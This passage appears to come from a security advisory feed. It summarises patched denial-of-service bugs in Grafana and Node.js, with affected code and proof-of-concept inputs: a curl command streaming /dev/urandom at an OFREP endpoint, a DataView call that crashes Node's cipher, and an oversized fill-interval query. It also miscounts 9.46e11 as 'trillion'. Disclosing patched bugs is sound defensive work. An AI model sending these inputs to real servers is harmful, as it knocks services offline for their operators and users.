body, err := io.ReadAll(r.Body)

Proof of Concept

Send a POST request with a multi-gigabyte body to the OFREP endpoint:

curl -X POST https://grafana-instance/apis/features.grafana.app/v0alpha1/namespaces/stacks-1/ofrep/v1/evaluate/flags/some-flag \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <valid-token>' \
  --data-binary @/dev/urandom \
  --max-time 60

The server would attempt to read the entire stream into memory via io.ReadAll, potentially exhausting available RAM and causing OOM or severe degradation.

⚠️ MEDIUM VERIFIED Null Pointer Dereference / Process Crash

Mar 29, 2026, 11:56 AM — nodejs/node

Commit: bdf75a6c4e107595868b798b696a96ffe2c8c0e6

Author: Mert Can Altin

When an ArrayBufferView backed by a zero-length ArrayBuffer (which has a null backing store data pointer) is passed to crypto functions like cipher.update(), the code unconditionally dereferenced the buffer's data pointer without checking for null. This caused a process crash (SIGSEGV/access violation). The patch adds a null check so that when buf_data is null, stack_storage_ is used as a fallback, preventing the crash.

🔍 View Affected Code & PoC

Affected Code

data_ = static_cast<T*>(abv->Buffer()->Data()) + abv->ByteOffset();

Proof of Concept

const crypto = require('crypto');
const key = crypto.randomBytes(16);
const nonce = crypto.randomBytes(13);
const cipher = crypto.createCipheriv('aes-128-ccm', key, nonce, { authTagLength: 16 });
cipher.setAAD(Buffer.alloc(0), { plaintextLength: 0 });
// Passing a DataView over a zero-length ArrayBuffer causes null backing store dereference -> crash
cipher.update(new DataView(new ArrayBuffer(0)));
// Process crashes with SIGSEGV before the patch

🔥 HIGH VERIFIED Denial of Service (Resource Exhaustion)

Mar 27, 2026, 02:37 PM — grafana/grafana

Commit: 449a8a97531c48db067306858bc745b90150325e

Author: Kevin Minehart Tenorio

The fill resampling feature in Grafana's SQL datasources (MySQL, PostgreSQL, MSSQL) could be exploited to cause excessive memory allocation. By crafting a query with a very large time range and a very small fill interval (e.g., time range spanning years with millisecond intervals), an attacker could trigger `sqlutil.ResampleWideFrame` to allocate an enormous number of data points, exhausting server memory and causing a denial of service. The patch adds a guard that skips the fill operation if the number of fill points would exceed the configured row limit.

🔍 View Affected Code & PoC

Affected Code

frame, err = sqlutil.ResampleWideFrame(frame, qm.FillMissing, alignedTimeRange, qm.Interval)
if err != nil {
    logger.Error("Failed to resample dataframe", "err", err)
    frame.AppendNotices(data.Notice{Text: "Failed to resample dataframe", Severity: data.NoticeSeverityWarning})
}

Proof of Concept

Send a Grafana dashboard query to a PostgreSQL/MySQL/MSSQL datasource with: timeRange.From = '2000-01-01T00:00:00Z', timeRange.To = '2030-01-01T00:00:00Z' (30-year range), fill interval = '1ms' (1 millisecond). The macro $__timeGroup(time_column, '1ms', 0) enables fill mode with a 1ms interval. numFillPoints = 30years / 1ms ≈ 9.46e11 points. ResampleWideFrame would attempt to allocate ~9.46 trillion data points, consuming terabytes of memory and crashing the Grafana server.